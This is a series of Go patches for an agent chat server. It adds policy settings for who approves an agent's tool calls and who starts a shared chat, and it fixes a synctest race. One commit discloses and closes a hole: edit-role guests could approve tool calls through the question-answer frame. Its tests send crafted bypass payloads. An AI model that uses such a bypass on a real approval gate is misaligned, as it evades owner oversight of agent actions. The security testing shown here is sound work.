nil { @@ -228,9 +224,8 @@ func TestSilentRouterCanRecoverOnTheNextRoutingCompletion(t *testing.T) { client := routingBeatClient(t, RoutingLatency, false) fetch := &recoveringSheetFetcher{} lanes.WireSheet(client.config.BaseURL, "fixture", fetch, false) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, lanes.Default().Sheet(), []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(lanes.Default().Sheet()) + defer end() synctest.Wait() if fetch.calls != 1 { t.Fatalf("startup made %d fetches; want 1", fetch.calls) @@ -261,9 +256,8 @@ func TestInstalledProbeChooserStillCountsRouting(t *testing.T) { lanes.Default().SetChooser(&countingChooser{}) sheet := &routingBeatSheet{} lanes.Default().SetSheet(sheet) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(sheet) + defer end() synctest.Wait() time.Sleep(30 * time.Minute) client.ProbeLanes(ctx, "routing/model") @@ -284,9 +278,8 @@ func TestATerminalPreferenceRefusalLeavesTheBeatIdle(t *testing.T) { client := routingBeatClient(t, RoutingLatency, false) fetch := &recoveringSheetFetcher{} lanes.WireSheet(client.config.BaseURL, "fixture", fetch, false) - ctx, stop := context.WithCancel(context.Background()) - defer stop() - go lanes.Beat(ctx, lanes.Default().Sheet(), []string{"routing/model"}, 0) + ctx, end := startRoutingBeat(lanes.Default().Sheet()) + defer end() synctest.Wait() if fetch.calls != 1 { t.Fatalf("startup made %d fetches; want 1", fetch.calls) @@ -304,3 +297,32 @@ func TestATerminalPreferenceRefusalLeavesTheBeatIdle(t *testing.T) { } }) } + +// startRoutingBeat runs [lanes.Beat] over the routing model inside the +// caller's synctest bubble and hands back its context and the one call that +// ends it. +// +// A BEAT IS WAITED FOR, NEVER ABANDONED. The beat can be asleep inside the lane +// store's lock backoff when a test reaches its last line: the completion the +// test just made and the beat's own reload wake at the same fake instant and +// race for the store's file lock, and the loser sleeps. synctest.Wait counts +// that sleep as idle, so the assertions pass and the test returns, and a +// bubble whose main goroutine has gone while one of its goroutines is still +// asleep panics with "deadlock: main bubble goroutine has exited but blocked +// goroutines remain". That is how +// TestSilentRouterCanRecoverOnTheNextRoutingCompletion failed three CI runs in +// a row on 2026-11-25 while passing every run on a laptop. end cancels the +// beat and then waits for it to return, and waiting lets the bubble's clock +// carry the sleeper through its backoff to the cancelled context. +func startRoutingBeat(sheet lanes.Sheet) (context.Context, func()) { + ctx, stop := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { + defer close(done) + lanes.Beat(ctx, sheet, []string{"routing/model"}, 0) + }() + return ctx, func() { + stop() + <-done + } +} From 334e88f2a6ec2c856350f31e2c33345d07f76f4e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 08:29:55 -0500 Subject: [PATCH 158/176] change entry 2918: routing beat tests wait for their beat Co-Authored-By: Claude Opus 5.5 --- docs/changes/unreleased/2918-routingbeat-wait.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 docs/changes/unreleased/2918-routingbeat-wait.md diff --git a/docs/changes/unreleased/2918-routingbeat-wait.md b/docs/changes/unreleased/2918-routingbeat-wait.md new file mode 100644 index 0000000000..3d2cb44c3d --- /dev/null +++ b/docs/changes/unreleased/2918-routingbeat-wait.md @@ -0,0 +1,11 @@ +--- +kind: internal +title: routing beat tests wait for their beat to end before their synctest bubble closes +pr: 2918 +surface: [engine] +invalidates: + - "The routing beat tests in internal/provider started lanes.Beat and returned without waiting for it, so a beat asleep in the lane store's lock backoff at the test's last line panicked the bubble (\"main bubble goroutine has exited but blocked goroutines remain\"); every one of them now cancels the beat and waits for it to return." +--- +`TestSilentRouterCanRecoverOnTheNextRoutingCompletion` failed three CI runs in a row on `org/main` this way while passing +every laptop run: the completion the test makes and the beat's reload wake at the same fake instant and race for the +store's file lock, and `synctest.Wait` treats the loser's backoff sleep as idle. From b8348675241dfc48eec6ceead08ab0661b458d49 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:44:21 -0500 Subject: [PATCH 159/176] org: policy settings for who approves a tool call and who starts a chat that is not running The organization's policy has a `chats` section beside `hosting`, which so far held one rule, `move_by`. Two more rules for a chat that runs on the organization's own server and is shared with other people become settings there, each optional, each reading as what the server did before it existed: - `chats.approvals_by`: `owner` (also what an absent value means) or `answer`. The wire that enforces it is the next commit. - `chats.wake_by`: `view` (also what an absent value means), `run` or `owner`. Same. Both are validated when the policy is written (422 with a sentence that names the allowed words), written under `chats` by their own names, and absent from the default policy's JSON, so a policy stored before they existed reads and saves unchanged. Tests: TestChatApprovalAndWakeRulesAreTodaysBehaviourUntilTheOrganizationChangesThem, TestChatApprovalAndWakeRulesTakeOnlyTheirWords (acl), TestOrgPolicyStoredWithoutApprovalAndWakeRulesReadsAsToday (store). Co-Authored-By: Claude Opus 5.5 --- internal/factory/acl/chats_test.go | 85 +++++++++++++++++++++++++++ internal/factory/acl/policy.go | 58 +++++++++++++++++- internal/factory/store/policy_test.go | 40 +++++++++++++ 3 files changed, 181 insertions(+), 2 deletions(-) diff --git a/internal/factory/acl/chats_test.go b/internal/factory/acl/chats_test.go index 24d4e181a1..8c0859d9ac 100644 --- a/internal/factory/acl/chats_test.go +++ b/internal/factory/acl/chats_test.go @@ -91,3 +91,88 @@ func TestChatMoveRuleTakesOnlyItsTwoWords(t *testing.T) { t.Fatalf("the setting is not written under chats.move_by: %s", data) } } + +// Contract: who approves a tool call in a shared chat, and who starts a chat that is not running, are policy settings +// whose defaults are what the server did before they existed: the owner approves, and anyone who can see the chat opens +// it. A policy with no `chats` section, whether the default policy or one stored before the settings existed, reads that +// way, is still valid, and writes back without them. +func TestChatApprovalAndWakeRulesAreTodaysBehaviourUntilTheOrganizationChangesThem(t *testing.T) { + if got := DefaultPolicy().Chats.ApprovalsByFor(); got != ApprovalsByOwner { + t.Fatalf("default policy: who approves a tool call = %q, want %q", got, ApprovalsByOwner) + } + if got := DefaultPolicy().Chats.WakeByFor(); got != WakeByView { + t.Fatalf("default policy: who starts a chat = %q, want %q", got, WakeByView) + } + var old Policy + if err := json.Unmarshal([]byte(organizationPolicyBeforeChatRules), &old); err != nil { + t.Fatal(err) + } + if old.Chats.ApprovalsByFor() != ApprovalsByOwner || old.Chats.WakeByFor() != WakeByView { + t.Fatalf("a policy stored before the settings existed reads approvals %q, wake %q", old.Chats.ApprovalsByFor(), old.Chats.WakeByFor()) + } + if err := old.Validate(Policy{}, nil); err != nil { + t.Fatalf("a policy stored before the settings existed is no longer valid: %v", err) + } + // Saying the default out loud is the same behaviour, and is written down as said. + p := DefaultPolicy() + p.Chats = Chats{ApprovalsBy: ApprovalsByOwner, WakeBy: WakeByView} + if p.Chats.ApprovalsByFor() != ApprovalsByOwner || p.Chats.WakeByFor() != WakeByView { + t.Fatalf("the defaults said out loud read %q and %q", p.Chats.ApprovalsByFor(), p.Chats.WakeByFor()) + } +} + +// Contract: approvals_by takes `owner` and `answer`, wake_by takes `view`, `run` and `owner`, any other word is refused +// with a sentence that names the words that are allowed, and a setting is written under `chats` by its own name. +func TestChatApprovalAndWakeRulesTakeOnlyTheirWords(t *testing.T) { + for _, tc := range []struct { + set Chats + wantApproval, wantWake string + }{ + {Chats{}, ApprovalsByOwner, WakeByView}, + {Chats{ApprovalsBy: "owner", WakeBy: "owner"}, ApprovalsByOwner, WakeByOwner}, + {Chats{ApprovalsBy: "answer", WakeBy: "run"}, ApprovalsByAnswer, WakeByRun}, + {Chats{WakeBy: "view"}, ApprovalsByOwner, WakeByView}, + } { + p := DefaultPolicy() + p.Chats = tc.set + if err := p.Validate(Policy{}, nil); err != nil { + t.Fatalf("%+v is refused: %v", tc.set, err) + } + if p.Chats.ApprovalsByFor() != tc.wantApproval || p.Chats.WakeByFor() != tc.wantWake { + t.Errorf("%+v resolves to %q and %q, want %q and %q", tc.set, p.Chats.ApprovalsByFor(), p.Chats.WakeByFor(), tc.wantApproval, tc.wantWake) + } + } + var validation *ValidationError + for _, tc := range []struct { + name string + set func(string) Chats + words []string + }{ + {"approvals_by", func(w string) Chats { return Chats{ApprovalsBy: w} }, []string{"owner", "answer"}}, + {"wake_by", func(w string) Chats { return Chats{WakeBy: w} }, []string{"view", "run", "owner"}}, + } { + for _, word := range []string{"anyone", "manage", "Answer", "edit"} { + p := DefaultPolicy() + p.Chats = tc.set(word) + err := p.Validate(Policy{}, nil) + if !errors.As(err, &validation) { + t.Errorf("%s %q: %v", tc.name, word, err) + continue + } + for _, allowed := range tc.words { + if !strings.Contains(err.Error(), allowed) { + t.Errorf("%s %q is refused with %q, which does not name %q", tc.name, word, err, allowed) + } + } + } + } + p := DefaultPolicy() + p.Chats = Chats{ApprovalsBy: ApprovalsByAnswer, WakeBy: WakeByRun} + data, err := json.Marshal(p) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(data), `"chats":{"approvals_by":"answer","wake_by":"run"}`) { + t.Fatalf("the settings are not written under chats by their own names: %s", data) + } +} diff --git a/internal/factory/acl/policy.go b/internal/factory/acl/policy.go index bef4fecd89..cf6e0a88ab 100644 --- a/internal/factory/acl/policy.go +++ b/internal/factory/acl/policy.go @@ -123,12 +123,20 @@ func (h Hosting) Words(hasChatHost bool) string { } } -// Chats holds the organization's rules for the chats its people keep. There is one so far: who may move a chat to another -// workstream or into My space. +// Chats holds the organization's rules for the chats its people keep: who may move a chat to another workstream or into +// My space, and, for a chat that runs on the organization's own server and is shared with other people, who may approve +// one of its tool calls and who may start it when it is not running. Every field is optional, and an empty one means the +// rule the server had before the field existed, so a policy that never mentions a rule is unchanged by it. type Chats struct { // MoveBy is MoveByOwner or MoveByManage. Empty means MoveByOwner, so a policy stored before this field existed, and // a policy that never mentions it, keep the rule the server always had. MoveBy string `json:"move_by,omitempty"` + // ApprovalsBy is ApprovalsByOwner or ApprovalsByAnswer. Empty means ApprovalsByOwner: a tool call a shared chat wants + // to make waits for its owner, whatever role anyone else holds. + ApprovalsBy string `json:"approvals_by,omitempty"` + // WakeBy is WakeByView, WakeByRun or WakeByOwner. Empty means WakeByView: anyone who can see a shared chat opens it + // when it is not running, and it starts for its owner. + WakeBy string `json:"wake_by,omitempty"` } const ( @@ -140,6 +148,26 @@ const ( MoveByManage = "manage" ) +const ( + // ApprovalsByOwner keeps every approval of a tool call with the chat's owner. It is the default. + ApprovalsByOwner = "owner" + // ApprovalsByAnswer lets anyone who holds the answer verb on a shared chat allow one tool call once, or refuse it. + // Allowing a tool for the rest of the chat, and every other setting of the chat, stays with the owner. Under the + // starting roles that is whoever the chat is shared with at `edit` or `full`. + ApprovalsByAnswer = "answer" +) + +const ( + // WakeByView lets anyone who can see a shared chat open it when it is not running, which starts it for its owner. + // It is the default, and what the server did before the rule was a setting. + WakeByView = "view" + // WakeByRun lets only a person who may send messages in the chat (the run verb) open it when it is not running. + // Someone who can only watch it sees a running chat, and is told to ask its owner for one that is not. + WakeByRun = "run" + // WakeByOwner lets only the chat's owner start it. Everyone else sees it while it is running. + WakeByOwner = "owner" +) + // MoveByFor is the rule that applies, with an empty setting read as the default. func (c Chats) MoveByFor() string { if c.MoveBy == "" { @@ -148,6 +176,22 @@ func (c Chats) MoveByFor() string { return c.MoveBy } +// ApprovalsByFor is the rule that applies, with an empty setting read as the default. +func (c Chats) ApprovalsByFor() string { + if c.ApprovalsBy == "" { + return ApprovalsByOwner + } + return c.ApprovalsBy +} + +// WakeByFor is the rule that applies, with an empty setting read as the default. +func (c Chats) WakeByFor() string { + if c.WakeBy == "" { + return WakeByView + } + return c.WakeBy +} + // Policy is the organization's access document: the roles, what each kind of // resource starts as, who may share, what the operator and agents may do. It // is stored as one row with a revision and changes only through a PUT by the @@ -287,6 +331,16 @@ func (p Policy) Validate(prev Policy, inUse func(role string) bool) error { default: return invalid("who may move a chat must be the owner or people with manage permission") } + switch p.Chats.ApprovalsBy { + case "", ApprovalsByOwner, ApprovalsByAnswer: + default: + return invalid("who may approve a tool call in a shared chat must be owner (only its owner) or answer (anyone who may answer its questions)") + } + switch p.Chats.WakeBy { + case "", WakeByView, WakeByRun, WakeByOwner: + default: + return invalid("who may start a chat that is not running must be view (anyone who can see it), run (anyone who may send messages in it) or owner (only its owner)") + } if cost := p.Hosting.MaxSessionCostUSD; math.IsNaN(cost) || cost < 0 || cost > 1_000_000 { return invalid("hosting chat cost must be between 0 and 1,000,000 dollars") } diff --git a/internal/factory/store/policy_test.go b/internal/factory/store/policy_test.go index def905e9cb..bf9d2cfe8b 100644 --- a/internal/factory/store/policy_test.go +++ b/internal/factory/store/policy_test.go @@ -121,3 +121,43 @@ func TestOrgPolicyStoredWithoutChatRulesReadsAsOwnerOnlyMove(t *testing.T) { } } } + +// Contract: who approves a tool call and who starts a chat that is not running keep today's behaviour until the +// organization says otherwise. A policy stored before the settings existed reads as owner approves and anyone who can see +// the chat starts it; one that sets them reads as set; and a stored word that is not one of the allowed words is not +// trusted, so the defaults apply. +func TestOrgPolicyStoredWithoutApprovalAndWakeRulesReadsAsToday(t *testing.T) { + const roles = `"roles":[{"name":"view","verbs":["view"]},{"name":"comment","verbs":["view","comment"]},` + + `{"name":"edit","verbs":["view","comment","edit","run","steer","answer"]},` + + `{"name":"full","verbs":["view","comment","edit","run","steer","answer","share","manage"]}],` + + `"owner_role":"full","org_role":"view","defaults":{"chat":{"visibility":"private"}},"sharing":{"who":"share_verb"},` + + `"operator":{"role":"view","may_govern":true},"agents":{"may_create":true,"default_scope":"full"}` + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + if _, err := st.SavePolicy(acl.DefaultPolicy(), 0); err != nil { + t.Fatal(err) + } + db, err := st.wsDB(false) + if err != nil { + t.Fatal(err) + } + for i, tc := range []struct{ name, doc, wantApproval, wantWake string }{ + {"stored before the settings existed", `{` + roles + `,"chats":{"move_by":"manage"}}`, acl.ApprovalsByOwner, acl.WakeByView}, + {"set", `{` + roles + `,"chats":{"approvals_by":"answer","wake_by":"run"}}`, acl.ApprovalsByAnswer, acl.WakeByRun}, + {"wake set to owner", `{` + roles + `,"chats":{"wake_by":"owner"}}`, acl.ApprovalsByOwner, acl.WakeByOwner}, + {"set to words nobody defined", `{` + roles + `,"chats":{"approvals_by":"anyone","wake_by":"anyone"}}`, acl.ApprovalsByOwner, acl.WakeByView}, + } { + if _, err := db.Exec(`UPDATE org_policy SET doc = ?, rev = ?`, tc.doc, 20+i); err != nil { + t.Fatal(err) + } + got, err := st.OrgPolicy() + if err != nil { + t.Fatalf("%s: %v", tc.name, err) + } + if got.Rev != 20+i || got.Chats.ApprovalsByFor() != tc.wantApproval || got.Chats.WakeByFor() != tc.wantWake { + t.Errorf("%s: revision %d, approvals %q, wake %q, want %q and %q", tc.name, got.Rev, got.Chats.ApprovalsByFor(), got.Chats.WakeByFor(), tc.wantApproval, tc.wantWake) + } + } +} From a6f85d0970cf41ce4f33cedc1509902d3dfe67b9 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:45:14 -0500 Subject: [PATCH 160/176] org: a guest cannot approve a tool call through the answer door, and approvals_by lets an organization allow it The hosted-chat guest wire checks each call a shared chat's guest sends against a table of methods and the verb each one needs. The table keeps the tool-approval frame, `ResolveConsent`, with the owner under every role, and the docs said a command that needs approval waits for the owner. But a tool approval is also a question the chat asks, and the answer to any question is `ResolveQuestion`, which the table lets a person who holds `answer` send (the `edit` role does). Its payload names the question's kind, and the guest wire never looked: an `edit` guest could send an answer of kind `consent` with the key for "allow once" or "allow always" and the chat ran the command as its owner. Seen through the real wire in TestApprovalsByOwnerKeepsAToolApprovalWithTheOwnerOnEveryDoor, which fails on the code before this commit. Now the wire reads a `ResolveQuestion` payload with the engine's own decoder into the engine's own type, and a consent answer follows the new policy setting `chats.approvals_by`: - `owner`, also what an absent setting means: refused with the sentence the older frame already gets ("This chat is shared with you. Only its owner can do that."). Every other answer, and every other call, is unchanged. - `answer`: a person who holds `answer` may allow one call once, or refuse it, through either door. Allowing a tool for the rest of the chat, putting the approval away, revising an answer and the chat's own approval setting stay with the owner. A person who cannot answer is still told so in the words they always read. The setting is read again on every heartbeat with the verbs, so a policy change reaches a window that is already open. A guest's approval is noted as the chat's latest asker, the way an answer already was. Tests: TestApprovalsByOwnerKeepsAToolApprovalWithTheOwnerOnEveryDoor, TestApprovalsByAnswerLetsAnAnswererAllowOnceOrRefuseAndNothingWider, TestApprovalsByReachesAnOpenWindowOnTheNextHeartbeat, TestApprovalsByAnswerNamesTheApproverAsTheAsker, TestChatsSettingsAreValidatedAndShownByThePolicy. Co-Authored-By: Claude Opus 5.5 --- internal/factory/serve/hosted_guest.go | 96 ++++-- .../serve/hosted_guest_choices_test.go | 312 ++++++++++++++++++ 2 files changed, 389 insertions(+), 19 deletions(-) create mode 100644 internal/factory/serve/hosted_guest_choices_test.go diff --git a/internal/factory/serve/hosted_guest.go b/internal/factory/serve/hosted_guest.go index 09d2717ae0..54e536d5aa 100644 --- a/internal/factory/serve/hosted_guest.go +++ b/internal/factory/serve/hosted_guest.go @@ -16,6 +16,7 @@ import ( "github.com/Agent-Field/codeaf/internal/factory/acl" "github.com/Agent-Field/codeaf/internal/factory/store" "github.com/Agent-Field/codeaf/internal/remote" + "github.com/Agent-Field/codeaf/internal/session" "github.com/coder/websocket" ) @@ -43,8 +44,9 @@ type hostedGuest struct { cancel context.CancelFunc heartbeat time.Duration client, host net.Conn - verbs atomic.Value - writeMu sync.Mutex + // rights holds a hostedGuestRights and is replaced on every heartbeat. + rights atomic.Value + writeMu sync.Mutex } // addGuest and closeHostedGuests use one lock so shutdown also reaches a wire still opening. @@ -113,14 +115,14 @@ func (h *Handler) hostedGuestWire(w http.ResponseWriter, r *http.Request, item I clientConn, closeClient := hostedGuestConn(ctx, client) defer closeClient() p.client = clientConn - p.verbs.Store(hostedGuestVerbs(v, item)) + p.rights.Store(hostedGuestRightsOf(v, item)) var pumps sync.WaitGroup defer func() { cancel() pumps.Wait() }() pumps.Go(func() { - p.checkHeartbeat(func() acl.VerbSet { + p.checkHeartbeat(func() hostedGuestRights { return h.refreshHostedGuest(r, item.ID, owner, v.Handle) }) }) @@ -202,8 +204,8 @@ func (p *hostedGuest) fromClient(forwarding func(method, class string)) { if err != nil { return } - verbs := p.verbs.Load().(acl.VerbSet) - if !verbs.Has(acl.VerbView) { + rights := p.rights.Load().(hostedGuestRights) + if !rights.verbs.Has(acl.VerbView) { // The heartbeat owns the final line when it takes access away. <-p.ctx.Done() return @@ -221,8 +223,8 @@ func (p *hostedGuest) fromClient(forwarding func(method, class string)) { p.fatal(hostedGuestBadCall) return } - class := hostedGuestMethods[frame.Method] - if words := hostedGuestRefusal(class, verbs); words != "" { + class, words := hostedGuestDecision(frame, rights) + if words != "" { // A result always has an ID, including when the caller used zero. result := struct { Kind string `json:"kind"` @@ -357,7 +359,63 @@ func hostedGuestVerbs(v Viewer, item Item) acl.VerbSet { return v.acc.rules().Verbs(v.caller(), v.acc.item(item), v.acc.time()) } -func (p *hostedGuest) checkHeartbeat(refresh func() acl.VerbSet) { +// hostedGuestRights is what one guest wire may do right now: the verbs the policy gives the person on the chat, and the +// organization's rule for who approves a tool call. Both are read again on every heartbeat, so a policy change reaches a +// window that is already open, in the same beat that takes a verb away. +type hostedGuestRights struct { + verbs acl.VerbSet + approvals string +} + +func hostedGuestRightsOf(v Viewer, item Item) hostedGuestRights { + return hostedGuestRights{verbs: hostedGuestVerbs(v, item), approvals: v.acc.rules().Chats.ApprovalsByFor()} +} + +// hostedGuestDecision classifies one call from a guest and answers the sentence the guest is refused with, or "" when +// the call may reach the chat. The method table decides almost everything; the two doors that carry a tool approval are +// the exception, because approving is not one method: the older frame is ResolveConsent, and the answer to ANY question +// the chat asks, an allow among them, is ResolveQuestion. +func hostedGuestDecision(frame remote.Frame, rights hostedGuestRights) (class, refusal string) { + class = hostedGuestMethods[frame.Method] + if frame.Method == remote.MethodConsent && rights.approvals == acl.ApprovalsByAnswer { + // One allow or one refusal of the call the chat is waiting on. Allowing a tool for good has its own frame, + // ResolveConsentRemember, which the table leaves with the owner under every setting. + class = acl.VerbAnswer + } + if words := hostedGuestRefusal(class, rights.verbs); words != "" { + return class, words + } + if frame.Method == remote.MethodQuestionResolve && !hostedGuestMayAnswer(frame, rights) { + return class, hostedGuestOwnerOnly + } + return class, "" +} + +// hostedGuestMayAnswer is whether a guest who already holds the answer verb may send this ResolveQuestion. An answer that +// is not to a tool approval always may. One that is waits for the owner unless the organization let answerers approve, +// and even then only the two plain answers (allow once, refuse) pass. The payload is read with the engine's own decoder +// into the engine's own type, so this cannot read an answer differently from the way the chat will. +func hostedGuestMayAnswer(frame remote.Frame, rights hostedGuestRights) bool { + var args remote.QuestionArgs + if len(frame.Payload) != 0 && json.Unmarshal(frame.Payload, &args) != nil { + // The chat cannot read it either and refuses it by itself. + return true + } + answer := args.Answer + if !strings.EqualFold(strings.TrimSpace(string(answer.Kind)), string(session.QuestionConsent)) { + return true + } + if rights.approvals != acl.ApprovalsByAnswer || answer.Dismissed || answer.Revises || answer.Clarify { + return false + } + switch answer.FirstKey() { + case "1", "3": + return true + } + return false +} + +func (p *hostedGuest) checkHeartbeat(refresh func() hostedGuestRights) { ticker := time.NewTicker(p.heartbeat) defer ticker.Stop() for { @@ -365,9 +423,9 @@ func (p *hostedGuest) checkHeartbeat(refresh func() acl.VerbSet) { case <-p.ctx.Done(): return case <-ticker.C: - verbs := refresh() - p.verbs.Store(verbs) - if !verbs.Has(acl.VerbView) { + rights := refresh() + p.rights.Store(rights) + if !rights.verbs.Has(acl.VerbView) { p.fatal(hostedGuestRemoved) return } @@ -375,34 +433,34 @@ func (p *hostedGuest) checkHeartbeat(refresh func() acl.VerbSet) { } } -func (h *Handler) refreshHostedGuest(r *http.Request, id, owner, asker string) acl.VerbSet { +func (h *Handler) refreshHostedGuest(r *http.Request, id, owner, asker string) hostedGuestRights { r = authRequest(r) if !h.allowed(r) { - return nil + return hostedGuestRights{} } v, err := h.itemViewer(r) if err != nil || v.Handle != asker || !h.teamAllows(v.Handle) || r.Context().Value(authErrorKey{}).(*authErrorState).err != nil { - return nil + return hostedGuestRights{} } st := h.config.Store if call, _ := agentCallOf(r); call.bot != "" { bot, _, state, err := st.FindBotToken(sessionHash(bearer(r)), h.now()) if err != nil || state != store.BotTokenLive || bot.ID != call.bot || bot.Creator != v.Handle { - return nil + return hostedGuestRights{} } // The stored scope and the policy bundle can both change while the bot is attached. v.Agent.Only = botScopeVerbs(v.acc.rules(), bot.Scope) } row, found, err := st.Resource(store.SessionKind, id) if err != nil || !found || row.Owner.ID != owner || !hostedRegistration(row) { - return nil + return hostedGuestRights{} } - return hostedGuestVerbs(v, h.resourceItem(row, factory.OrgWorkstream{})) + return hostedGuestRightsOf(v, h.resourceItem(row, factory.OrgWorkstream{})) } func (h *Handler) noteHostedGuestCall(id, owner, asker, method, class string) { // Attribution is approximate because the next model call can follow any accepted words. - if class == acl.VerbRun || method == remote.MethodSteer || method == remote.MethodQuestionResolve { + if class == acl.VerbRun || method == remote.MethodSteer || method == remote.MethodQuestionResolve || method == remote.MethodConsent { h.config.Hosted.state.noteAsker(id, asker) } // The chat checks the keyboard for prompts and steer. A guest with run can use Take to drive. diff --git a/internal/factory/serve/hosted_guest_choices_test.go b/internal/factory/serve/hosted_guest_choices_test.go new file mode 100644 index 0000000000..b4de65ee9e --- /dev/null +++ b/internal/factory/serve/hosted_guest_choices_test.go @@ -0,0 +1,312 @@ +package serve + +import ( + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/coder/websocket" +) + +// These tests are the contract for the two settings a team can turn on in a hosted chat's policy, `chats.approvals_by` and +// `chats.wake_by`. Each one drives the real organization handler with a real store over a real WebSocket, and the only +// stand-in is the chats' host behind it, which records what reaches it. + +// guestPayloadCall is one call frame that carries a payload. +func guestPayloadCall(id int, method, payload string) string { + return fmt.Sprintf("{\"kind\":\"call\",\"id\":%d,\"method\":%q,\"payload\":%s}\n", id, method, payload) +} + +// consentAnswer is the payload of a ResolveQuestion that answers a tool approval, with extra fields spliced in. +func consentAnswer(extra string) string { + if extra != "" { + extra = "," + extra + } + return `{"answer":{"kind":"consent","id":7` + extra + `}}` +} + +// guestHostGot reads what reached the host and answers the method and payload of the one frame. +func guestHostGot(t *testing.T, host guestHostWire) (string, string) { + t.Helper() + frame := guestFrame(t, guestHostLine(t, host)) + return frame.Method, string(frame.Payload) +} + +// guestExpectNothingMore fails when anything else reached the host. +func guestExpectNothingMore(t *testing.T, host guestHostWire) { + t.Helper() + select { + case raw, ok := <-host.incoming: + if ok { + t.Fatalf("a refused call reached the chat: %q", raw) + } + case <-time.After(300 * time.Millisecond): + } +} + +// guestApprovalRig is santosh's chat shared with abir at `view` and mia at `edit`, with one guest wire open for each of +// them. The policy edit, when there is one, is saved before the wires open so nothing waits on a heartbeat. +type guestApprovalRig struct { + rg *hostedRig + chat string + srv *httptest.Server + wires map[string]guestWires +} + +type guestWires struct { + client *websocket.Conn + host guestHostWire + refusals chan string +} + +func newGuestApprovalRig(t *testing.T, edit func(*acl.Policy)) *guestApprovalRig { + t.Helper() + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + hostedGrant(t, rg, "santosh", chat, "mia", "edit") + if edit != nil { + rg.setAccessPolicy(t, edit) + } + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + a := &guestApprovalRig{rg: rg, chat: chat, srv: srv, wires: map[string]guestWires{}} + for _, person := range []string{"abir", "mia"} { + client, host := guestConnect(t, srv, opened, rg.tokens[person], chat) + refusals := make(chan string, 64) + go func() { + for { + _, raw, err := client.Read(t.Context()) + if err != nil { + return + } + refusals <- string(raw) + } + }() + a.wires[person] = guestWires{client, host, refusals} + } + return a +} + +// ask sends a call as who and answers "" when it reached the chat, or the sentence the guest was refused with on its own +// wire. Every call is answered one way or the other before the next is sent, so a late frame cannot be taken for the +// next call's. +func (a *guestApprovalRig) ask(t *testing.T, who string, id int, method, payload string) string { + t.Helper() + w := a.wires[who] + line := guestCall(id, method) + if payload != "" { + line = guestPayloadCall(id, method, payload) + } + guestWrite(t, w.client, line) + select { + case raw := <-w.host.incoming: + if frame := guestFrame(t, raw); frame.Method != method || frame.ID != uint64(id) { + t.Fatalf("the chat received %q, want call %d to %s", raw, id, method) + } + return "" + case raw := <-w.refusals: + frame := guestFrame(t, raw) + if frame.Kind != "result" || frame.ID != uint64(id) || frame.Error == "" { + t.Fatalf("the refusal of %s was %q", method, raw) + } + return frame.Error + case <-time.After(5 * time.Second): + t.Fatalf("%s as %s was neither passed nor refused", method, who) + return "" + } +} + +// Contract A1: under the default policy, and under a policy that says `owner` out loud, a tool approval stays with the +// owner on BOTH of its doors, whatever role the guest holds. A person who holds `answer` (the `edit` role does) cannot +// approve or refuse a tool call by sending the answer to the chat's question; they can still answer every other question. +func TestApprovalsByOwnerKeepsAToolApprovalWithTheOwnerOnEveryDoor(t *testing.T) { + for _, tc := range []struct { + name string + edit func(*acl.Policy) + }{ + {"absent", nil}, + {"owner", func(p *acl.Policy) { p.Chats.ApprovalsBy = acl.ApprovalsByOwner }}, + } { + t.Run(tc.name, func(t *testing.T) { + a := newGuestApprovalRig(t, tc.edit) + id := 0 + next := func() int { id++; return id } + // The two doors a tool approval has, and the three plain ways to say it on the second. + for _, call := range []struct{ name, method, payload string }{ + {"the older frame, allow", "ResolveConsent", `{"id":7,"allow":true}`}, + {"the older frame, remember", "ResolveConsentRemember", `{"id":7,"allow":true,"scope":"tool"}`}, + {"the answer door, allow once", "ResolveQuestion", consentAnswer(`"key":"1"`)}, + {"the answer door, allow always", "ResolveQuestion", consentAnswer(`"key":"2"`)}, + {"the answer door, refuse", "ResolveQuestion", consentAnswer(`"key":"3"`)}, + {"the answer door, a key hidden in picked", "ResolveQuestion", consentAnswer(`"key":"3","picked":["1"]`)}, + {"the answer door, the kind in capitals", "ResolveQuestion", `{"answer":{"KIND":" Consent ","ID":7,"KEY":"1"}}`}, + {"the answer door, put away", "ResolveQuestion", consentAnswer(`"key":"3","dismissed":true`)}, + } { + if got := a.ask(t, "mia", next(), call.method, call.payload); got != guestOwnerWords { + t.Errorf("%s: an edit guest reads %q, want %q", call.name, got, guestOwnerWords) + } + } + // A guest who cannot answer anything is told so in the words they always read, not the owner-only ones. + if got := a.ask(t, "abir", next(), "ResolveQuestion", consentAnswer(`"key":"1"`)); got != guestAnswerWords { + t.Errorf("a view guest answering a tool approval reads %q, want %q", got, guestAnswerWords) + } + // Everything else a guest with `answer` could always do still reaches the chat. + for _, payload := range []string{ + `{"answer":{"kind":"ask","id":3,"key":"1"}}`, + `{"answer":{"kind":"task","id":4,"key":"2"}}`, + ``, + } { + if got := a.ask(t, "mia", next(), "ResolveQuestion", payload); got != "" { + t.Errorf("an answer to %s was refused with %q", payload, got) + } + } + guestExpectNothingMore(t, a.wires["mia"].host) + }) + } +} + +// Contract A2: under `approvals_by: answer`, a person who holds `answer` can allow one tool call once, or refuse it, by +// either door. Allowing a tool for the rest of the chat, putting the approval away, and every other frame of the chat's +// settings stay with the owner, and a person who cannot answer still cannot. +func TestApprovalsByAnswerLetsAnAnswererAllowOnceOrRefuseAndNothingWider(t *testing.T) { + a := newGuestApprovalRig(t, func(p *acl.Policy) { p.Chats.ApprovalsBy = acl.ApprovalsByAnswer }) + id := 0 + next := func() int { id++; return id } + for _, call := range []struct{ name, method, payload string }{ + {"the older frame, allow", 